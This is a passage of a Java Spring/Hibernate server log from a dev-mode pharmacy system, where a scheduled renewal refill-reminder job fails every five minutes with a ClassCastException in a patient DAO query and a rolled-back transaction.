org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 15:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 15:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 15:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 15:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 15:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 15:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 15:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 15:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 15:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 15:50:00 